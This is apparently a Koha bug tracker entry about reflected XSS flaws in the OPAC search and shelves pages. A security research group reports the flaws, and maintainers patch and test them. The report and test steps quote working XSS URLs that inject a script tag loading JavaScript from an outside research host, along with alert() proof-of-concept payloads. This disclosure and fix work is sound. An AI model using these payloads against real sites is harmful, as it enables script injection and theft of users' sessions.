Bug 14418

Summary: XSS Flaws in OPAC Interface
Product: Koha Reporter: Raschin Tavakoli <RGhanad-Tavakoli>
Component: OPACAssignee: Owen Leonard <oleonard>
Status: CLOSED FIXED QA Contact: Testopia <testopia>
Severity: major    
Priority: P5 - low CC: dsimos, fridolin.somers, jonathan.druart, katrin.fischer, liz, mtj, tomascohen
Version: master   
Hardware: All   
OS: All   
Change sponsored?: --- Patch complexity: Small patch
Documentation contact: Documentation submission:
Text to go in the release notes:
Version(s) released in:
Bug Depends on:    
Bug Blocks: 13618, 14524    
Attachments: Screenshots
Bug 14418 XSS Vulnerabilities
Bug 14418 : XSS flaw in opac-shelves.pl
Bug 14418 : More XSS vulnerabilities in opac-shelves.pl
Bug 14418 XSS Vulnerabilities
Bug 14418 : XSS flaw in opac-shelves.pl
Bug 14418 : More XSS vulnerabilities in opac-shelves.pl
[PASSED QA] Bug 14418 XSS Vulnerabilities
[PASSED QA] Bug 14418 : XSS flaw in opac-shelves.pl
[PASSED QA] Bug 14418 : More XSS vulnerabilities in opac-shelves.pl

Description Raschin Tavakoli 2015-06-18 20:49:58 UTC
Created attachment 40335 [details]
Screenshots

Multiple XSS and XSRF issues in the Koha OPAC interface:

Examples:

opac-search.pl, param tag:
testbox:9001/cgi-bin/koha/opac-search.pl?tag="><script src='http://cst.sba-research.org/x.js'/>&q=fantastique

opac-shelves.pl, param direction:
/cgi-bin/koha/opac-shelves.pl?viewshelf=19&sort=author&direction="><script src='http://cst.sba-research.org/x.js'/>

opac-shelves.pl, param display:
/cgi-bin/koha/opac-shelves.pl?op=modif&shelfnumber=16&display="><script src='http://cst.sba-research.org/x.js'/>

---

Vulnerability Disclosure by Combinatorial Security Testing Group of SBA Research.
Contact: cst@sba-research.org
Comment 1 Chris Cormack 2015-06-18 21:28:19 UTC Comment hidden (obsolete)
Comment 2 Chris Cormack 2015-06-18 21:33:35 UTC
I suspect the problem is the query_cgi variable not being escaped in other templates as well.

I'll come back to this bug, if no one else has fixed the others, but I am going to look at 14416 first.
Comment 3 Chris Cormack 2015-06-18 23:38:25 UTC Comment hidden (obsolete)
Comment 4 Chris Cormack 2015-06-18 23:43:18 UTC Comment hidden (obsolete)
Comment 5 Jonathan Druart 2015-06-19 09:08:11 UTC Comment hidden (obsolete)
Comment 6 Jonathan Druart 2015-06-19 09:08:16 UTC Comment hidden (obsolete)
Comment 7 Jonathan Druart 2015-06-19 09:08:19 UTC Comment hidden (obsolete)
Comment 8 Jonathan Druart 2015-06-19 09:09:35 UTC
Comment on attachment 40351 [details] [review]
Bug 14418 : XSS flaw in opac-shelves.pl

Review of attachment 40351 [details] [review]:
-----------------------------------------------------------------

::: koha-tmpl/opac-tmpl/bootstrap/en/modules/opac-shelves.tt
@@ +168,4 @@
>                                          <span class="sendlist"><a href="/cgi-bin/koha/opac-sendshelf.pl?shelfid=[% shelfnumber | html %]" class="send" onclick="open('/cgi-bin/koha/opac-sendshelf.pl?shelfid=[% shelfnumber | html %]','win_form','scrollbars=no,resizable=no,height=300,width=450,top=50,left=100'); return false; ">Send list</a></span>
>                                      [% END %]
>  
> +                                    <a class="print-small" target="_blank" href="/cgi-bin/koha/opac-shelves.pl?viewshelf=[% shelfnumber %]&sort=[% sort %]&direction=[% direction |uri %]&print=1">Print list</a>

I don't manage to simulate an attack with "sort", but it could certainly be a good idea to escape it also.
Comment 9 Katrin Fischer 2015-06-19 13:11:47 UTC
Created attachment 40366 [details] [review]
[PASSED QA] Bug 14418 XSS Vulnerabilities

Fix for /cgi-bin/koha/opac-search.pl

To test

1/ Hit /cgi-bin/koha/opac-search.pl?tag="><script
src='http://cst.sba-research.org/x.js'/>&q=a
2/ Notice the js is executed
3/ Apply patch
4/ Reload page, notice it is no longer executed
5/ Test the rss links work still

Signed-off-by: Jonathan Druart <jonathan.druart@koha-community.org>
Signed-off-by: Katrin Fischer <katrin.fischer@bsz-bw.de>
Confirmed bug and that the patch fixes it.
Comment 10 Katrin Fischer 2015-06-19 13:11:59 UTC
Created attachment 40367 [details] [review]
[PASSED QA] Bug 14418 : XSS flaw in opac-shelves.pl

To test:
1/ Create a list and add at least one item to it
2/ Hit a url like http://192.168.2.18/cgi-bin/koha/opac-shelves.pl?viewshelf=7&sort=author&direction=%22%3E%3Cscript%3Ealert%28%27oh%20noes%27%29%3C/script%3E
  Where the shelf id is the number of the list you created, notice the js is executed
3/ Apply the patch
4/ Reload the page notice the js is now escaped

Signed-off-by: Jonathan Druart <jonathan.druart@koha-community.org>
Signed-off-by: Katrin Fischer <katrin.fischer@bsz-bw.de>
Comment 11 Katrin Fischer 2015-06-19 13:12:27 UTC
Created attachment 40368 [details] [review]
[PASSED QA] Bug 14418 : More XSS vulnerabilities in opac-shelves.pl

To test:
1/ Hit a url like
/cgi-bin/koha/opac-shelves.pl?viewshelf=7&op=modif&display="><script>alert('oh
noes')</script>  Where the id is a valid shelf id
2/ Notice the js is executed
3/ Apply patch
4/ Reload page
5/ Notice input is now escaped on display

Signed-off-by: Jonathan Druart <jonathan.druart@koha-community.org>
Signed-off-by: Katrin Fischer <katrin.fischer@bsz-bw.de>
Tested in Debian, couldn't reproduce the alert in Iceweasel, but in
Chromium. Patch fixes it.
Comment 12 Tomás Cohen Arazi 2015-06-22 14:39:29 UTC
Patches pushed to master.

Thanks Chris!
Comment 13 Chris Cormack 2015-06-22 21:44:52 UTC
Pushed to 3.20.x will be in 3.20.1
Comment 14 Liz Rea 2015-06-23 01:55:42 UTC
Pushed to 3.18.x will be in 3.18.08
Comment 15 Fridolin Somers 2015-06-23 09:54:12 UTC
Pushed to 3.14.x, will be in 3.14.16

Commit "Bug 14418 : XSS flaw in opac-shelves.pl" is useless in 3.14.x
Comment 16 Jonathan Druart 2015-07-13 14:40:47 UTC
This patch breaks the RSS link, see bug 14524.